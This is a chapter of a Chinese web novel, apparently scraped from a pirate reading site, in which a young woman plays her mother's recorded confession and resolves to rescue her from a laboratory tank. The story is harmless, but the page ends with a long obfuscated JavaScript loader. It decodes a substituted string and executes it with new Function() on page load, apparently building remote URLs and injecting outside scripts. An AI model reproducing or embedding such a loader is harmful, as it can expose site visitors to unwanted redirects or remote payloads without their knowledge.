第120章 母亲的秘密
第120章母亲的秘密(第1/2页)
林小禾的手指在键盘上停了很久。
久到橘猫从窗台上跳下来,走到她脚边,用尾巴扫了一下她的脚踝,像是在说“你他妈倒是按回车啊“。她没有低头看猫。屏幕上一段音频文件的进度条停留在开头,波形图平得像一条刚拉直的电话线。文件名是一串毫无规律的字符,只有标题栏里标注着“H-07·自述“。
“你什么时候发现的?“陆江流靠在她旁边的桌沿上,手里那杯已经凉透的茶端了很久,没喝。
“刚才。“林小禾的声音很低,像是怕吵醒什么,“镜像文件里嵌了一段额外数据,不像是生命维持系统该有的日志格式。我拆包的时候以为是实验记录,解压之后发现是音频。“
“你还没听?“
“没有。“她的手终于动了,按了一下空格键,“想等你来了再放。“
陆江流没有催她。他把茶杯放在桌上,拉了把椅子坐到对面。橘猫见没人理它,跳上吧台蹲好,开始用一种“你们人类的事真他妈复杂“的表情舔自己的前爪。简俭从后门走进来,看到两人的坐姿,放轻了脚步,在门框边站住,没有靠近。
林小禾按下了播放键。
音频开始时有一段明显的电流噪音,像是麦克风刚接通时还没稳定下来。然后一个声音响起来——虚弱、干涩,像是很久没有说过话的人在用最后的力气把字一个一个从喉咙里搬出来。但每个字咬得很清楚,像在默背一段练习了很久的稿子:
“小禾,如果你听到这段话,说明你已经找到了这里。妈妈的选择是自愿的——平衡会告诉我,我的血脉可以研究出‘消费之珠‘的完整复制技术。我答应了,因为我觉得这能让你过上更好的生活。我不后悔。但你也不要为我报仇。去找‘流‘——他会告诉你剩下的。“
音频在这里断了。波形图重新变成一条平直的线,像一段话说完之后再也没有力气续上。橘猫在吧台上竖起耳朵,歪着头盯着电脑的方向,像是在等下一段音频自己弹出来。林小禾盯着波形图看了很久,然后按了两下退格键,把进度条拖回开头,又放了一遍。她的表情在播放过程中几乎没有变化——没有皱眉,没有握紧拳头,没有咬嘴唇。她只是一遍一遍地听,听到第四遍的时候,简俭终于开口了:“你还好吗?“
“我没事。“林小禾的声音比平时低了两度,但比陆江流预期的稳,“我只是在确认——她是不是真的在说话,还是在被人强迫念稿子。“
“你觉得像念稿子吗?“
林小禾又听了一遍,这次她闭上了眼睛。过了十几秒,她睁开眼,把音频关掉。“不像。语气太自然了。她说到‘我不后悔‘的时候,呼吸节奏没有变。如果她是在被胁迫的状态下录的,那三个字会有一个停顿,她在说服自己。但那个停顿不存在。“
“那是真的。“陆江流靠在椅背上,手里的杯子已经被他放下很久了,“她是自己走进去的。“
林小禾把音频文件拖到一个加密文件夹里,设置了多层密码,然后用鼠标悬停在上方看了好一会儿,像是在做某个决定。她开口时语气里多了一丝很淡的涩意:“她说‘去找流‘。你听到没?“
“听到了。“
“你觉得她说的是你吗?“
陆江流的手指在桌面上轻轻叩了两下。节奏很慢,像是在把这个问题放在脑子里转着圈儿看。“你妈说的‘流‘,可能是我,也可能不是我。但无论如何,她的遗愿是‘不报仇‘。“
“她是说‘不报仇‘。没说‘不救她‘。“
“对。她说的是‘不要为我报仇‘,不是‘不要来找我‘。“陆江流看着她的眼睛,“她选择进那个罐子的时候,她已经接受了自己可能会死在里面。但她接受的不是‘消失‘,是‘换一种方式存在‘。她录这段话,不是让你当她死了——是让你知道她活着的时候是怎么选的。“
林小禾低下头,手指从鼠标上移开。橘猫从吧台上跳下来,走到她腿边,用脑袋顶了一下她的小腿。她弯腰把猫捞起来,放在膝盖上,开始用一种很慢的节奏一下一下地顺着猫的背脊。猫翻了个身,把肚皮露出来,爪子搭在她的手肘上,呼噜声响起来,像一台被调小了音量的发动机。
“我以前觉得我妈是被害的。“林小禾的声音带着猫的呼噜声做背景音,听起来比刚才柔软了一些,“我爸死了之后,我一直觉得她也是被省者联盟的人弄死的。后来发现她是自己走进实验室的,我气的不是她选了那条路,是她没告诉我。她至少应该在走之前跟我说一声——‘我可能要离开一阵子,但我是自己选的。‘“
(本章未完,请点击下一页继续阅读)第120章母亲的秘密(第2/2页)
“你觉得她说了,你会让她走吗?“
林小禾没有回答。她的手指在猫的耳朵后面停下来,像是在想一个她一直没有答案的问题。过了几秒,她开口了:“不知道。但至少我不会怪她。我现在怪她,是因为我以为她没得选。现在知道她选了,我反而……不知道该怎么恨了。“
厂房里安静了一阵。暖气片发出低沉的嗡鸣声,像某种被遗忘在角落里的旧电器正在喘最后一口气。简俭站在门框旁边,他一直没说话,但他手里的笔记本已经翻到了最新的一页,上面没有写字,只有他用铅笔画的几条短线——像是在记录沉默的时长。
林小禾把猫放回地上,站起来,走到窗边。她的白发在日光灯下泛着银蓝色,有一缕垂在脸侧,被她别到耳后。她没有回头,背对着他们说了一句话:“我不报仇。但我还是要找到她——把她救出来。这不是报仇,是还她一个选择的机会。她当年选了去实验室。现在我想让她再选一次,是出来,还是继续待着。“
陆江流站起来,走到吧台后面,重新给自己泡了一杯茶。热水注进杯子里的声音在安静的厂房里显得格外清晰,像一段新章节开头的第一句。“那你打算怎么还她这个机会?“
“先把复制出来的系统镜像跑通,建一台便携式的模拟器。然后去桐城,把她的罐子从主系统离线,接到模拟器上。只要模拟器能维持那三根管子的信号频率稳定,她就不会因为主系统断连而进入不可逆的衰竭状态。“林小禾转过身来,表情已经恢复了那种“我在拆解问题“的模式,眼角那圈细密的血丝还留着,但她的目光已经从那个文件夹上移开了,“然后我再考虑她要不要出来。“
“你说‘再考虑‘,意思是——出来不一定更好。“
“万一她在罐子里待了十五年,人格基底已经无法承受外界环境的刺激,强行唤醒可能会导致完全崩解,那她不如在罐子里保持休眠状态。活着,比变成另一个人要好。那31%的成功率,不只是我救她的概率,是她还能做回自己的概率。“林小禾的声音停了一下,像在确认自己说出来的话是她真正相信的,“她现在的情况是,出来可能会变成另一个人。但至少她还活着,还有变回自己的可能性。如果我不做,她就永远是那94%的剥离度,永远不会醒。“
陆江流端着新泡的茶,靠在吧台边,没有接话。他看着她把音频文件加密保存,关掉播放器,然后把那台笔记本电脑合上,像完成了一项她一直知道要做但一直不敢开始的工作。橘猫从她脚边站起来,走到吧台下面蹲好,开始用后腿挠耳朵,动作慢悠悠的,像是它已经判定了这场对话的走向——“你们商量完了就快点开晚饭“。
“明天开始建模拟器。“林小禾走回电脑前,重新打开电源,“数据够我搭一个底层框架。需要三到四天。这期间你别打扰我。“她说完这句话之后停顿了一下,嘴唇动了动,像是想说什么但没找到合适的词。最终她说了一句非常林小禾式的结尾:“我刚才决定不找你商量直接做,是因为我知道你会拦我。你让我自己决定就好。“
陆江流喝了口茶,温度刚好。他把茶杯放回吧台上,杯底碰到台面发出一声轻响,像给一段对话画了一个非常简短的**。“我不拦你。但模拟器做出来之后,去桐城得带一个能垫住门的机械门挡,不是石头。“
林小禾的嘴角动了一下,幅度极小,像是在压制一个还没成型就快要露出来的笑意:“你记性真好。“
“我记性不好。是简俭记在笔记本上了。“陆江流看了一眼门框方向。简俭不知道什么时候已经走了,门框边只留下一道被拐杖末端压过的浅痕,在日光灯的斜照下像一条极短的破折号。
窗外天已经黑了,路灯亮了。巷口的风把一片枯叶推过门槛,贴在门缝边缘,翻了个身,又落下了。橘猫站起来伸了个懒腰,然后走到门口蹲好,尾巴搭在门槛上,像是在替所有还没启动的计划站岗。键盘声重新响起来,均匀而稳定,像是一段被摁下播放键的音频,没有序曲,没有结尾。
本章完
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();